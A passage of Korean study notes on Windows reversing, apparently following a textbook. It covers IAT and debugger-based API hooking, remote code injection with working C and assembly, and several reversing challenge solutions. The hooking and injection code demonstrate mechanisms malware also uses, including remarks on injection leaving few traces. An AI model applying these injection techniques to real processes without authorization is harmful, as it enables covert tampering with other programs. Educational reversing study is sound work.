📢 목표 : 계산기의 텍스트 에디터에 표시되는 모든 숫자를 한글로 변경하기

SetWindowTextW API와 SetDlgItemTextW API를 후킹하면 될 것이라고 가정한다.

📢 후킹 API 분석하기

BOOL SetWindowTextW(
  [in]           HWND    hWnd,
  [in, optional] LPCWSTR lpString
);

SetWindowTextW API의 정의를 보면 위와 같다. 해당 API는 창의 문자열을 변경하는 API로, 파라미터로 창 핸들(hWnd)와 문자열 포인터(lpString)을 받는다. 저 문자열을 살펴보고 숫자를 한글로 변경하면 된다.

BOOL SetDlgItemTextW(
  [in] HWND    hDlg,
  [in] int     nIDDlgItem,
  [in] LPCWSTR lpString
);

SetDlgItemTextW API의 정의를 보면 위와 같다. 창 핸들(hWnd)와 문자열 포인터(lpString)을 받는 건 SetWindowTextW와 같고, 추가로 nIDDlgItem을 받는다. MSDN에는 nIDDlgItem에 설정할 제목이나 텍스트가 있는 컨트롤이라고 한다. 잘 이해가 가지 않아서 ChatGPT에게 이해하기 쉽게 설명해달라고 했더니 아래처럼 답변했다. 일종의 배열의 인덱스 값이라고 개념적으로 생각하면 될 것 같다.

이 2가지 API를 후킹을 위한 API라고 가정했지만, SetDlgItemTextW API는 내부적으로 다시 SetWindowTextW API를 호출한다고 한다. 따라서 더 low-level Hooking에 해당하는 SetWindowTextW를 후킹하면 더 성공적으로 후킹할 수 있을 것이다.

📢 디버거로 calculator.exe의 SetWindowTextW API 확인해보기

SetWindowTextW의 검색해보면 위와 같이 나오고 그 구간에 BP를 걸어서 확인해보았다. 만약 내가 7을 입력하면 해당 값은 000DF674값에 입력되는 것을 확인 할 수 있다.

이 값을 한글로 고쳐서 실행하면 아래와 같은 값이 된다.

📌 동작 원리 확인하기

원래 프로세스 동작 과정

1. Call [IAT 주소]를 통해 user32.SetWindowTextW API의 값을 호출

후킹 후 프로세스 동작 과정

1. Call [IAT 주소] 과정은 동일하지만 IAT 주소가 가리키는 값이 변하여 다른 API를 호출한다.
2. 이 때, [IAT 주소]에 다른 함수의 주소를 입력하여 다른 API가 실행되게끔 한다.
3. 다른 함수의 작업이 끝나고 원래 함수의 IAT 주소로 가서 원래 작업을 진행한다.

-->이 때 후킹 하기 전, DLL 인젝션을 진행하고, IAT 주소의 영역을 바꾸고 진행해야 원활하게 진행된다.

📌 소스코드 분석하기

DLLmain

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH : 
            // original API 주소 저장
            // g_pOrgFunc --> 언훅 작업에서 사용하기 위함
               g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"), 
                                        "SetWindowTextW");

            // # hook
            //   user32!SetWindowTextW() 를 hookiat!MySetWindowText() 로 후킹
            hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTextW);
            break;

        case DLL_PROCESS_DETACH :
            // # unhook
            //   calc.exe 의 IAT 를 원래대로 복원
            hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);
            break;
    }

    return TRUE;
}

MySetWindowTextW

// MySetWindowTextW : 숫자를 한글로 변환하는 함수
// SetWindowTextW : 변환된 한글을 출력하는 함수
BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
    wchar_t* pNum = L"영일이삼사오육칠팔구";
    wchar_t temp[2] = {0,};
    int i = 0, nLen = 0, nIndex = 0;

    nLen = wcslen(lpString);
    for(i = 0; i < nLen; i++)
    {
        // '수'문자를 '한글'문자로 변환
        //   lpString 은 wide-character (2 byte) 문자열
        if( L'0' <= lpString[i] && lpString[i] <= L'9' )
        {
            temp[0] = lpString[i];
            nIndex = _wtoi(temp);
            lpString[i] = pNum[nIndex];
        }
    }

    // user32!SetWindowTextW() API 호출
    //   (위에서 lpString 버퍼 내용을 변경하였음)
    return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}

hook_iat

BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
    HMODULE hMod;
    LPCSTR szLibName;
    PIMAGE_IMPORT_DESCRIPTOR pImportDesc; 
    PIMAGE_THUNK_DATA pThunk;
    DWORD dwOldProtect, dwRVA;
    PBYTE pAddr;

    // hMod, pAddr = ImageBase of calc.exe
    //             = VA to MZ signature (IMAGE_DOS_HEADER)
    hMod = GetModuleHandle(NULL);
    pAddr = (PBYTE)hMod;

    // pAddr = VA to PE signature (IMAGE_NT_HEADERS)
    // pAddr = "PE" signature
    pAddr += *((DWORD*)&pAddr[0x3C]);

    // dwRVA = RVA to IMAGE_IMPORT_DESCRIPTOR Table
    dwRVA = *((DWORD*)&pAddr[0x80]);

    // pImportDesc = VA to IMAGE_IMPORT_DESCRIPTOR Table
    // pImportDesc = ImageBase of calc.exe + RVA to IID Table = VA to IID Table
    pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);

    for( ; pImportDesc->Name; pImportDesc++ )
    {
        // szLibName = VA to IMAGE_IMPORT_DESCRIPTOR.Name
        // szLibName = ImageBase of calc.exe + Name of IDT Table 
        szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
        // szDllName = user32.dll ( 우리가 찾고자 하는 dll )
        if( !_stricmp(szLibName, szDllName) )    
        {
            // pThunk = IMAGE_IMPORT_DESCRIPTOR.FirstThunk
            //        = VA to IAT(Import Address Table)
            // pThunk = ImageBase of calc.exe + IAT FirstThunk = VA to IAT FirstThunk
            pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod + 
                                         pImportDesc->FirstThunk);

            // pThunk->u1.Function = VA to API
            for( ; pThunk->u1.Function; pThunk++ )
            {
                //pfnOrg = SetWindowTextW( 우리가 찾고자 하는 함수 ) 
                if( pThunk->u1.Function == (DWORD)pfnOrg )
                {
                    // 메모리 속성을 E/R/W 로 변경
                    // 계산기 프로세스의 IAT 메모리 영역이 읽기 전용이기 때문에 넣은 코드
                    VirtualProtect((LPVOID)&pThunk->u1.Function, 
                                   4, 
                                   PAGE_EXECUTE_READWRITE, 
                                   &dwOldProtect);

                    // IAT 값을 변경
                    pThunk->u1.Function = (DWORD)pfnNew;

                    // 메모리 속성 복원
                    VirtualProtect((LPVOID)&pThunk->u1.Function, 
                                   4, 
                                   dwOldProtect, 
                                   &dwOldProtect);                        

                    return TRUE;
                }
            }
        }
    }

    return FALSE;
}

디버그 이벤트의 종류

- **EXCEPTION_DEBUG_EVENT**
- CREATE_THREAD_DEBUG_EVENT
- CREATE_PROCESS_DEBUG_EVENT
- EXIT_THREAD_DEBUG_EVENT
- EXIT_PROCESS_DEBUG_EVENT
- LOAD_DLL_DEBUG_EVENT
- UNLOAD_DLL_DEBUG_EVENT
- OUTPUT_DEBUT_STRING_EVENT
- RIP_EVENT

이 중 디버깅에 관련된 이벤트는 EXCEPTION_DEBUG_EVENT이다. 이와 관련된 이벤트의 종류는 아래와 같다.

- EXCEPTION_ACCESS_VIOLATION
- EXCEPTION_ARRAY_BOUNDS_EXCEEDED
- **EXCEPTION_BREAKPOINT**
- EXCEPTION_DATATYPE_MISALIGNMENT
- EXCEPTION_FLT_DENORMAL_OPERAND
- EXCEPTION_FLT_DIVIDE_BY_ZERO
- EXCEPTION_FLT_INEXACT_RESULT
- EXCEPTION_FLT_INVALID_OPERATION
- EXCEPTION_FLT_OVERFLOW
- EXCEPTION_FLT_STACK_CHECK
- EXCEPTION_FLT_UNDERFLOW
- EXCEPTION_FLT_ILLEGAL_INSTRUCTIOIN
- EXCEPTION_IN_PAGE_ERROR
- EXCEPTION_INT_DIVIDE_BY_ZERO
- EXCEPTION_INT_OVERFLOW
- EXCEPTION_INVALID_DISPOSITION
- EXCEPTION_NONCONTINUABLE_EXCEPTION
- EXCEPTION_PRIV_INSTRUCTION
- EXCEPTION_SINGLE_STEP
- EXCEPTION_STACK_OVERFLOW

각종 예외에서 디버거가 반드시 처리해야 하는 예외는 EXCEPTION_BREAKPOINT이다. BP를 구현하는 방법은 설치하는 코드의 메모리 시작 주소의 1바이트를 CC로 변경하는 것이다.

📌 작업 순서

디버거-디버기 관계를 가진 상태에서 디버기의 API 시작 부분을 0xCC로 바꿔 제어를 디버거로 가져온 후 원하는 작업을 수행한 후 디버기를 다시 실행 상태로 바꾸는 것이다.

1. 대상 프로세스에 'attach'하여 debuggee로 만들기
2. API 시작 주소의 첫 바이트를 0xCC로 변경
3. 해당 API가 호출 시 제어가 debugger에게 넘어옴
4. 원하는 작업 수행
5. Unhook (0xCC를 원래대로 복원)
6. API 실행
7. Hook (지속적 후킹을 위해 다시 0xCC로 바꿈)
8. debugee에게 제어를 돌려줌

📌 API Hooking 실습

notepad에 글을 쓰기 전에, hookdbg.exe를 notepad의 PID를 이용하여 hooking한다.

그리고 글을 test.txt로 저장한다.

그러면 cmd에서 해당 글이 출력됨과 동시에 test.txt는 모두 대문자로 변한다.

📌 코드 분석

DebugLoop()

void DebugLoop()
{
    DEBUG_EVENT de;
    DWORD dwContinueStatus;

    // Debuggee 로부터 event 가 발생할 때까지 기다림
    while( WaitForDebugEvent(&de, INFINITE) )
    {
        dwContinueStatus = DBG_CONTINUE;

        // Debuggee 프로세스 생성 혹은 attach 이벤트
        if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
        {
            OnCreateProcessDebugEvent(&de);
        }
        // 예외 이벤트
        else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )
        {
            if( OnExceptionDebugEvent(&de) )
                continue;
        }
        // Debuggee 프로세스 종료 이벤트
        else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
        {
            // debuggee 종료 -> debugger 종료
            break;
        }

        // Debuggee 의 실행을 재개시킴
        ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
    }
}

디버기로부터 발생하는 이벤트를 받아서 처리한 후 디버기의 실행을 재개하는 역할이다. 아래는 코드 중 디버기로부터 디버그 이벤트가 발생할 때까지 기다리는 함수이다.

BOOL WINAPI WaitForDebugEvent{
    LPDEBUG_EVENT lpDebugEvent,
    DWORD dwMilliseconds
};

코드에서 WaitForDebufEvent(&de, INFINITE) 라고 되어있는데, de 변수에 해당 이벤트에 대한 정보를 설정한 후 즉시 리턴하는 함수이다. de의 구조체인 DEBUG_EVENT 구조체 정의는 아래와 같다.

typedef struct _DEBUG_EVENT {
  DWORD dwDebugEventCode;
  DWORD dwProcessId;
  DWORD dwThreadId;
  union {
    EXCEPTION_DEBUG_INFO      Exception;
    CREATE_THREAD_DEBUG_INFO  CreateThread;
    CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
    EXIT_THREAD_DEBUG_INFO    ExitThread;
    EXIT_PROCESS_DEBUG_INFO   ExitProcess;
    LOAD_DLL_DEBUG_INFO       LoadDll;
    UNLOAD_DLL_DEBUG_INFO     UnloadDll;
    OUTPUT_DEBUG_STRING_INFO  DebugString;
    RIP_INFO                  RipInfo;
  } u;
} DEBUG_EVENT, *LPDEBUG_EVENT;

디버그 이벤트 9가지 종류 중 하나가 dwDebugEventCode에 세팅되고, 해당 이벤트의 종류에 따라 u(유니온) 멤버가 세팅된다. 아래는 디버기의 실행을 재개하는 함수이다.

BOOL WINAPI ContinueDebugEvent(
    DWORD dwProcessId,
    DWORD dwThreadId,
    DWORD dwContinueStatus
};

ContinueDebugEvent() API는 debuggee의 실행을 재개하는 함수다. 해당 API의 마지막 파라미터인 dwContinueStatus는 DBG_CONTINUE(정상적으로 처리) 또는 DBG_EXCEPTION_NOT_HANDLED(처리하지 못함) 중에서 하나의 값을 갖는다.

이렇게 DebugLoop 함수는 이벤트를 기다렸다가 받아서 처리하고 재개하는 함수이다. 처리하는 이벤트는 코드에서 보면 3가지이다.

• EXIT_PROCESS_DEBUG_EVENT

  • 프로세스가 종료될 때 발생하는 이벤트이다.

• CREATE_PROCESS_DEBUG_EVENT

  BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde) {
    // WriteFile() API 주소구하기 --> 디버기 프로세스의 메모리 주소가 아니라 디버거 프로세스의 메모리 주소를 얻어서 사용
    g_pfWriteFile = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteFile");
  
    //API Hook-WriteFile()
    //첫 번째 byte를 0xCC로 변경
    memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
  
    ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile, &g_chOrgByte, sizeof(BYTE), NULL);
  
    WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile, &g_chINT3, sizeof(BYTE), NULL);
  
    return TRUE;
  }

  • 우선 WriteFile API의 주소를 GetProcAddress API를 통해 구한 후, g_cpdi 변수에 memcpy를 통해 debuggee process 정보를 복사한다. g_cpdi 변수는 CREATE_PROCESS_DEBUG_INFO 구조체 변수이다.

    typedef struct _CREATE_PROCESS_DEBUG_INFO {
    HANDLE                 hFile;
    HANDLE                 hProcess;
    HANDLE                 hThread;
    LPVOID                 lpBaseOfImage;
    DWORD                  dwDebugInfoFileOffset;
    DWORD                  nDebugInfoSize;
    LPVOID                 lpThreadLocalBase;
    LPTHREAD_START_ROUTINE lpStartAddress;
    LPVOID                 lpImageName;
    WORD                   fUnicode;
    } CREATE_PROCESS_DEBUG_INFO, *LPCREATE_PROCESS_DEBUG_INFO;

    hProcess 멤버를 이용하여 WriteFile() API를 후킹 할 수 있다. 이 때 ReadProcessMemory를 이용해 WriteFile() API의 첫 바이트를 읽어서 g_ch0rgByte에 저장하는데 이는 후킹을 해제할 때 BP를 없애는 데 필요하기 때문이다.

• EXCEPTION_DEBUG_EVENT

  BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)
  {
    CONTEXT ctx;
    PBYTE lpBuffer = NULL;
    DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
    PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
  
    // BreakPoint exception (INT 3) 인 경우
    if( EXCEPTION_BREAKPOINT == per->ExceptionCode )
    {
        // BP 주소가 WriteFile() 인 경우
        if( g_pfWriteFile == per->ExceptionAddress )
        {
            // #1. Unhook
            //   0xCC 로 덮어쓴 부분을 original byte 로 되돌림
            WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile, 
                               &g_chOrgByte, sizeof(BYTE), NULL);
  
            // #2. Thread Context 구하기
            ctx.ContextFlags = CONTEXT_CONTROL;
            GetThreadContext(g_cpdi.hThread, &ctx);
  
            // #3. WriteFile() 의 param 2, 3 값 구하기
            //   함수의 파라미터는 해당 프로세스의 스택에 존재함
            //   param 2 : ESP + 0x8
            //   param 3 : ESP + 0xC
            ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8), 
                              &dwAddrOfBuffer, sizeof(DWORD), NULL);
            ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC), 
                              &dwNumOfBytesToWrite, sizeof(DWORD), NULL);
  
            // #4. 임시 버퍼 할당
            lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
            memset(lpBuffer, 0, dwNumOfBytesToWrite+1);
  
            // #5. WriteFile() 의 버퍼를 임시 버퍼에 복사
            ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer, 
                              lpBuffer, dwNumOfBytesToWrite, NULL);
            printf("\n### original string ###\n%s\n", lpBuffer);
  
            // #6. 소문자 -> 대문자 변환
            for( i = 0; i < dwNumOfBytesToWrite; i++ )
            {
                if( 0x61 <= lpBuffer[i] && lpBuffer[i] <= 0x7A )
                    lpBuffer[i] -= 0x20;
            }
  
            printf("\n### converted string ###\n%s\n", lpBuffer);
  
            // #7. 변환된 버퍼를 WriteFile() 버퍼로 복사
            WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer, 
                               lpBuffer, dwNumOfBytesToWrite, NULL);
  
            // #8. 임시 버퍼 해제
            free(lpBuffer);
  
            // #9. Thread Context 의 EIP 를 WriteFile() 시작으로 변경
            //   (현재는 WriteFile() + 1 만큼 지나왔음)
            ctx.Eip = (DWORD)g_pfWriteFile;
            SetThreadContext(g_cpdi.hThread, &ctx);
  
            // #10. Debuggee 프로세스를 진행시킴
            ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
            Sleep(0);
  
            // #11. API Hook
            WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile, 
                               &g_chINT3, sizeof(BYTE), NULL);
  
            return TRUE;
        }
    }
  
    return FALSE;
  }

  코드 안의 # 주석을 따라가면서 보겠다.

1. UnHook (API 훅 제거) BP를 해제하는 과정

2. Thread Context 구하기 Thread Context = 프로세스의 실제 명령어 코드는 스레드 단위로 실행되는데, 스레드의 CPU 레지스터 정보를 저장하는 구조체가 Context 구조체이다. GetThreadContext() API를 호출하면 ctx의 구조체 변수에 해당 스레드의 Context를 저장한다.

3. WriteFile()의 param 2,3 값 구하기 함수의 파라미터는 스택에 저장되므로 Context.esp 멤버를 이용해서 각각의 값을 구한다.

4. 4부터 8까지 대문자 덮어쓰기

5. ~

6. ~

7. ~

8. ~

9. Thread Context의 EIP를 WriteFile() 시작으로 변경 EIP를 INT3에 의해 1byte 밀렸기 때문에 다시 WriteFile의 시작 주소가 저장된 g_pfWriteFile을 대입한다.

10. 디버거 프로세스를 진행한다. ContinueDebugEvent를 통해 디버기 프로세스 실행을 재개한다.

11. API 훅 설치 다음 번 후킹을 위해 파일을 저장할 때 후킹이 되도록 설정한다.

📌 사전 분석

이번 제공 파일은 실행 파일이 아닌 DLL 파일이라서 좀 더 생소했다. 실행은 안되니까 일단 PEview를 봤는데 rdata쪽에서 의심가는 곳이 있었다. dreamhack.exe와 flag라는 글자가 보였는데 되게 수상해서 코드를 켜서 분석해보았다.

📌 코드 분석

와... 32비트로 분석하다가 64비트 환경으로 분석하려니까 숫자가 머릿속으로 안들어온다... 그래서 IDA 환경에서 디컴파일링해서 보기로 했다.

이렇게 보니까 확실히 디컴파일링 기능이 좋다는 생각이 들었다. Path의 FileName이 일단 dreamhack.exe가 되어야 한다는 것이고 그 실행파일과 같은 경로에 prob_rev.dll이 있으면 어려운 코드 계산에 상관없이 MessageBoxA 함수로 flag를 출력할 것이라고 생각했다.

#include <stdio.h>
#include <Windows.h>

int main() {
    LoadLibraryA("prob_rev.dll");
}

해당 C언어코드를 visual studio에서 dreamhack 솔루션으로 만들어서 dreamhack.exe 파일을 만들었다. 그 장소에 prob_rev.dll을 넣고 dreamhack.exe 파일을 돌리니까 flag가 출력되었다.

64비트 환경을 경험하려고 하였지만, 정작 코드들과 관계없이 디컴파일링된 값을 읽고 도출할 수 있었다. 하지만 맛보기 수준으로 괜찮은 문제였다.

📌 사전 분석

말투가 나쁜 사람치고는 착한 어투(?)로 쓴 것 같다. 문제는 key값을 입력하고 이 key값을 이용하여 복호화를 하는 문제인 것 같다. 일단 PE File Format을 확인하였다. upx로 패킹되어 있는 파일이다.

📌 코드 분석

시작부터 pushad가 나오는 데 이는 upx로 되어 있기 때문에 그런 것이다. 이에 대응 하는 popad를 찾아서 OEP로 진입해보겠다. 여기가 OEP인 것 같다. OEP에서 무작정 코드를 분석하는 것보다 우리의 목적은 File을 복호화 하는 것이 목표이므로 File과 관련된 함수가 쓰였는지 확인해 보겠다.

fopen, fclose와 같은 File과 관련된 함수가 사용되었다. 해당 부분으로 가서 코드를 분석하면 빠르게 분석이 가능할 것이다. 일단 key값을 입력받는 scanf로 가서 BP를 걸고 달려보겠다.

scanf 이후로 쭉 달리다 보면 암호화와 관련된 코드가 보인다. 5415B8에 있는 값과 44D370에 있는 값을 xor하여 값을 한 번 구하고 그 값을 FF와 한번 더 XOR을 진행한다. 이제 복호화 알고리즘을 알았다. XOR의 특성 상 XOR을 한번 더 하면 원래의 값으로 돌아온다. Encrypted -> XOR key -> XOR FF -> Decrypted 이니까 Decrypted -> XOR FF -> XOR key -> Encrypted가 될 것이다. 문제는 우리는 Key값을 구하기 위해선 Encrypted와 Decrypted를 둘 다 알아야 한다. 힌트는 readme.txt에서 구할 수 있다. Decrypt File(EXE)라고 적혀있는 걸 통해 File은 EXE인 것을 알 수 있다. 따라서 PE Dos Header가 MZ로 시작할 것이다. 이 부분을 이용해서 key값을 구한다.

exe='4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00'
encrypted_exe='DE C0 1B 8C 8C 93 9E 86 98 97 9A 8C 73 6C 9A 8B 34 8F 93 9E 86 9C 97 9A CC 8C 93 9A 8B 8C 8F 93'
flag =''

exe = exe.split(' ')
encrypted_exe=encrypted_exe.split(' ')

for i in range(len(exe)):
    flag += chr((int(encrypted_exe[i], 16) ^ 0xff) ^ int(exe[i], 16))
print(flag)

이 코드를 이용하면 다음과 같은 key값이 나온다. 이 값을 이용해서 run.exe의 key값에 입력하면 file이 PE file format 형식으로 나올 것이다. 따라서 돌린 후 이 file을 exe 형태로 변환 후 진행하면 값이 나온다.

이 문제의 교훈 : 무작정 코드 분석을 했다가 파일 관련 함수를 그냥 건너뛰길래 뭔가 이상하다 했다. 닥치고 머리 박지 말고 가능성을 염두에 두고 문제를 풀어야 겠다.

📌 사전 분석

입력이 키보드가 아니라 마우스로 되어서 처음에는 어떻게 풀어야 할 지 감이 안잡혔다. 그래서 일단 PE를 분석해보기로 했다. 이렇게 되어있는 걸 보니, 이 데이터를 다른 곳에 옮겨 붙이면 값이 나오는 걸로 예측된다. 이 값을 그림판에다가 옮기면 원하는 값이 나올 것으로 생각된다. 이제 코드를 읽어보자. Decompiling한 코드를 읽어보았다.

이것이 위에 나왔던 그림을 의미하는 것이었고, 해당 파일은 200,150의 가로와 세로의 길이를 가지고 있다. 근데 파일을 저장하려고 하는데 몇비트인지를 모르는 것이다.

코드를 쭉 읽다가 나온 의심가는 부분을 Decompiling 했는데 결국 찾았다. 24비트로 되어있었다.

이제 얻은 정보를 바탕으로 데이터를 만드면 된다. 200 * 150짜리 24비트 bmp 파일을 만든 뒤, 해당 값을 HxD를 이용하여 붙였다. 붙였더니 영문이 나왔다.

Win32 API를 후킹하는 기술을 API 후킹이라고 한다. = Win32 API 호출을 중간에서 가로채서 제어권을 획득하는 것

📢 API이란?

사용자 애플리케이션이 시스템 커널에 접근을 요청하기 위한 방법, Windows에서는 Win32 API를 제공한다.

📢 정상 API 호출 vs Hooking API 호출

정상적인 호출은 API를 호출하면 그 API가 담겨 있는 DLL에서 API가 호출된다.

Hooking API 호출은 DLL Injection 기술로 hook.dll을 프로세스 메모리 공간에 삽입한다. 그리고 kernel32!CreateFile()를 hook!MyCreateFile()로 후킹하였다. 이렇게 되면 CreateFile API를 실행할 때마다 MyCreateFile이 실행된다.

📌 API Hooking Tech Map

📢 Static vs Dynamic

📢 Location

공략 위치를 의미한다.

1. IAT

   • IAT에 있는 API 주소를 후킹 함수 주소로 변경하는 방법
   • 장점 : 단순하며 쉽게 구현 할 수 있다.
   • 단점 : IAT에 없는 프로그램에서 사용되는 API들에 대해서는 후킹 할 수 없다. (= DLL을 동적으로 로딩하는 경우)

2. Code

   • API의 실제 주소를 찾아 코드를 직접 수정하는 방법

3. EAT

   • EAT에 기록된 API 시작 주소를 후킹 함수 주소로 변경하는 방법

📢 Technique

구체적인 기법을 의미한다.

1. Debug

   • 디버거는 디버기에 모든 권한을 가지고 있기 때문에, 디버기의 모든 프로세스 메모리에 후킹 함수를 자유롭게 설치할 수 있다.
   • 자동화 스크립트를 사용하여 API Hooking을 자동화하는 방법도 있지만, 디버거에 대한 지식과 안정적인 동작을 위한 많은 테스트가 요구된다.

2. Injection

   1. DLL Injection
      • 인젝션 할 DLL에 미리 후킹 코드와 설치 코드를 만들고 DllMain 함수에서 설치 코드를 호출하면, 인젝션되는 순간 Hooking 완료
   2. Code Injection
      • 실행 코드와 데이터만 인젝션된 상태에서 자신이 필요한 API 주소를 직접 구해서 사용해야 한다.

해당 코드는 ThreadProc() 함수를 어셈블리어에서 작성한 것이다. C언어로 작성된 것과 비교하고 싶으면 아래 링크로 가서 비교하면 된다. Code Injection

📌 Assembly 분석

push ebp
mov ebp,esp

1. 스택 프레임 생성 --> 스택에 문자열들을 넣어서 ThreadProc() 함수가 종료될 때 스택을 깨끗하게 관리하려고

mov esi,dword ptr ss:[ebp+8]

2. THREAD_PARAM 구조체 포인터 이 때 구조체의 멤버는 LoadLibraryA와 GetProcAddress이다.

push 6c6c        ;"\0\0ll"
push 642e3233    ;"d.23"
push 72657375    ;"resu"
push esp

3. "user32.dll" 문자열 저장 및 주소 입력 이 때 Little Endian 표기법과 스택의 거꾸로 자라는 특성 때문에 위처럼 입력되고 있다.

   call dword ptr ds:[esi]        ;kernel32.LoadLibraryA

4. LoadLibraryA("user32.dll") 호출 이 때 함수의 리턴 값은 EAX에 저장된다.

   push 41786F        ;"\0Axo"
   push 42656761    ;"Bega"
   push 7373654D    ;"sseM"
   push esp        
   push eax        ;hMod(778E000)
   call dword ptr ds:[esi+4]    ;kernel32.GetProcAddress

5. "MessageBoxA" 문자열 입력 및 GetProcAddress(hMod,"MessageBoxA") 호출 이 때 hMod는 user32.dll 모듈의 로딩 주소이다.

   push 0
   call 002D003F
   push edx
   jbe short 002D009C
   jb short 002D00AC
   inc ebx
   outs dx,dword ptr es:[edi]
   jb short 002D00A3
   add al,ch

6. MessageBoxA 파라미터 입력한다 이 때 push 0은 파라미터 1의 값이고 그 이후 코드는 파라미터 2(ReverseCore)의 문자열 데이터이다.

   call 002D0058
   ja short 002D00BD
   ja short 002D0076
   jb short 002D00AF
   jbe short 002D00B1
   jb short 002D00C1
   arpl word ptr gs:[edi+72],bp
   prefix gs:
   arpl word ptr cs:[edi+6D],bp
   add byte ptr ds:[edx],ch
   

push 0

7. MessageBoxA의 파라미터 3(`www.reversecore.com`)을 입력하는 문자열 데이터와 파라미터 4를 입력하는 코드이다.

call eax

8. MessageBoxA API 호출하는 call 명령어로 GetProcAddress에 의해 리턴된 MessageBoxA API의 시작 주소가 EAX에 저장되어 있다.

xor eax,eax

mov esp,ebp pop ebp retn

``` 9. ThreadProc() 리턴 값 세팅 및 스택 프레임 해제, 함수 리턴

어셈블리 명령어에 대해 잘 알고 프로그래밍을 할 줄 알면 Code Injection을 할 수 있다. 이 과정들을 잘 이해하고 있다는 건 DLL injection 및 MessageHooking 과정을 잘 이해하고 있다고 판단할 것 같다.

상대방 프로세스에 독립 실행 코드를 삽입한 후 실행하는 기법 --> Thread Injection이라고도 얘기함

📌 DLL Injection vs Code Injection

DLL Injection

• DLL을 통째로 상대방 프로세스에 삽입하면, 코드와 데이터가 같이 메모리에 존재하기 때문에 코드가 정상적으로 실행가능

Code Injection

• 필요한 코드를 삽입하고, 그 코드에서 사용하는 데이터도 같이 삽입해야 정상적으로 코드의 실행이 가능

--> Code Injection이 DLL Injection보다 고려할 사항이 좀 더 많다.

📢 Code Injection을 사용하는 이유

1. 메모리를 조금만 차지한다.
2. 흔적을 찾기 어렵다.
   • DLL Injection은 프로세스 메모리에 흔적을 남기기 때문에 인젝션 여부를 알 수 있다. 그러나 Code Injection은 쉽게 흔적을 남기지 않는다.
3. 별도의 DLL 파일 없이 'Code Injector 프로그램'만 있으면 가능

📌 코드 분석

ThreadProc()

typedef struct _THREAD_PARAM 
{
    FARPROC pFunc[2];               // LoadLibraryA(), GetProcAddress()
    char    szBuf[4][128];          // "user32.dll", "MessageBoxA", "www.reversecore.com", "ReverseCore"
} THREAD_PARAM, *PTHREAD_PARAM;

typedef HMODULE (WINAPI *PFLOADLIBRARYA)
(
    LPCSTR lpLibFileName
);

typedef FARPROC (WINAPI *PFGETPROCADDRESS)
(
    HMODULE hModule,
    LPCSTR lpProcName
);

typedef int (WINAPI *PFMESSAGEBOXA)
(
    HWND hWnd,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType
);

DWORD WINAPI ThreadProc(LPVOID lParam)
{
    PTHREAD_PARAM   pParam      = (PTHREAD_PARAM)lParam;
    HMODULE         hMod        = NULL;
    FARPROC         pFunc       = NULL;

    // LoadLibrary()
    hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]);    // "user32.dll"
    if( !hMod )
        return 1;

    // GetProcAddress()
    pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]);  // "MessageBoxA"
    if( !pFunc )
        return 1;

    // MessageBoxA()
    ((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);

    return 0;
}

ThreadProc() 함수를 보면 직접 API를 호출하지 않는다. 문자열도 직접 정의해서 사용하지 않는다. 전부 스레드 파라미터로 넘어온 THREAD_PARAM 구조체에서 가져다 사용한다.

BOOL InjectCode(DWORD dwPID)
{
    HMODULE         hMod            = NULL;
    THREAD_PARAM    param           = {0,};
    HANDLE          hProcess        = NULL;
    HANDLE          hThread         = NULL;
    LPVOID          pRemoteBuf[2]   = {0,};
    DWORD           dwSize          = 0;

    hMod = GetModuleHandleA("kernel32.dll");

    // set THREAD_PARAM
    param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
    param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
    strcpy_s(param.szBuf[0], "user32.dll");
    strcpy_s(param.szBuf[1], "MessageBoxA");
    strcpy_s(param.szBuf[2], "www.reversecore.com");
    strcpy_s(param.szBuf[3], "ReverseCore");

    // Open Process
    if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS,   // dwDesiredAccess
                                  FALSE,                // bInheritHandle
                                  dwPID)) )             // dwProcessId
    {
        printf("OpenProcess() fail : err_code = %d\n", GetLastError());
        return FALSE;
    }

